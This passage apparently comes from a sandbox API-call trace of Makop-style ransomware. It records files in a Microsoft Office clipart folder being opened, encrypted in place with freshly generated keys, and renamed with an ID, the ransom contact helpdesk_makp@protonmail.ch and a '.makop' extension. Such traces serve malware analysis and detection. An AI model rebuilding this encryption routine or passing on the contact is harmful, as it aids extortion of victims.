dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.038] GetProcessHeap () returned 0x48a0000 [0115.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.039] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.039] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.039] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.039] GetProcessHeap () returned 0x48a0000 [0115.039] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.039] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.039] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.044] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.044] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.044] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.045] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.045] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.045] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x620, lpOverlapped=0x0) returned 1 [0115.045] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620, dwBufLen=0x620 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x620) returned 1 [0115.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.045] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x620, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x620, lpOverlapped=0x0) returned 1 [0115.045] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.045] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.046] SetEndOfFile (hFile=0xf0) returned 1 [0115.053] GetProcessHeap () returned 0x48a0000 [0115.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.053] GetProcessHeap () returned 0x48a0000 [0115.053] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.053] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.054] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.055] CloseHandle (hObject=0xf0) returned 1 [0115.055] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9db29500, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9db29500, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2ce2, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00669_.WMF", cAlternateFileName="")) returned 1 [0115.055] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF") returned 63 [0115.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.056] GetProcessHeap () returned 0x48a0000 [0115.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.056] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.056] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0115.061] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.061] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.061] GetProcessHeap () returned 0x48a0000 [0115.061] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.061] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.062] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.062] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.062] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.062] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.063] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.064] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.064] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.064] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2ce2, lpOverlapped=0x0) returned 1 [0115.065] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0, dwBufLen=0x2cf0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2cf0) returned 1 [0115.065] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.065] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2cf0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2cf0, lpOverlapped=0x0) returned 1 [0115.066] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.066] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2dc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.066] SetEndOfFile (hFile=0xf0) returned 1 [0115.072] GetProcessHeap () returned 0x48a0000 [0115.072] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.073] GetProcessHeap () returned 0x48a0000 [0115.073] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.073] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.073] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.074] CloseHandle (hObject=0xf0) returned 1 [0115.074] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x39dc9c00, ftCreationTime.dwHighDateTime=0x1bd4ae4, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x39dc9c00, ftLastWriteTime.dwHighDateTime=0x1bd4ae4, nFileSizeHigh=0x0, nFileSizeLow=0x2454, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00681_.WMF", cAlternateFileName="")) returned 1 [0115.074] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0115.074] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.075] GetProcessHeap () returned 0x48a0000 [0115.075] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.075] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.075] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0115.082] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.083] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.083] GetProcessHeap () returned 0x48a0000 [0115.083] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.083] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.083] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.083] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.083] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.084] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.084] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.084] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.084] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.084] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x2454, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x2454, lpOverlapped=0x0) returned 1 [0115.085] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2460, dwBufLen=0x2460 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2460) returned 1 [0115.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.086] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2460, lpOverlapped=0x0) returned 1 [0115.086] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.086] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.086] SetEndOfFile (hFile=0xf0) returned 1 [0115.092] GetProcessHeap () returned 0x48a0000 [0115.092] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.092] GetProcessHeap () returned 0x48a0000 [0115.093] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.093] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.093] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.094] CloseHandle (hObject=0xf0) returned 1 [0115.094] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cf47e00, ftCreationTime.dwHighDateTime=0x1bd4b1e, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3cf47e00, ftLastWriteTime.dwHighDateTime=0x1bd4b1e, nFileSizeHigh=0x0, nFileSizeLow=0xfc0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00685_.WMF", cAlternateFileName="")) returned 1 [0115.094] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 63 [0115.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0115.095] GetProcessHeap () returned 0x48a0000 [0115.095] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0115.095] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0115.095] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0115.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.096] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.096] GetProcessHeap () returned 0x48a0000 [0115.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0115.096] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0115.096] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.096] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0115.100] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0115.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0115.101] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0115.101] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0115.101] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0115.102] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0115.102] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0115.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.102] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfc0, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfc0, lpOverlapped=0x0) returned 1 [0115.102] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0, dwBufLen=0xfc0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfc0) returned 1 [0115.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.102] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfc0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xfc0, lpOverlapped=0x0) returned 1 [0115.102] CryptDestroyKey (hKey=0x48c7128) returned 1 [0115.102] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.103] SetEndOfFile (hFile=0xf0) returned 1 [0115.110] GetProcessHeap () returned 0x48a0000 [0115.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0115.110] GetProcessHeap () returned 0x48a0000 [0115.110] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0115.110] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0115.111] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0115.112] CloseHandle (hObject=0xf0) returned 1 [0115.112] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c816800, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9c816800, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x10f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="HH00687_.WMF", cAlternateFileName="")) returned 1 [0115.114] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft 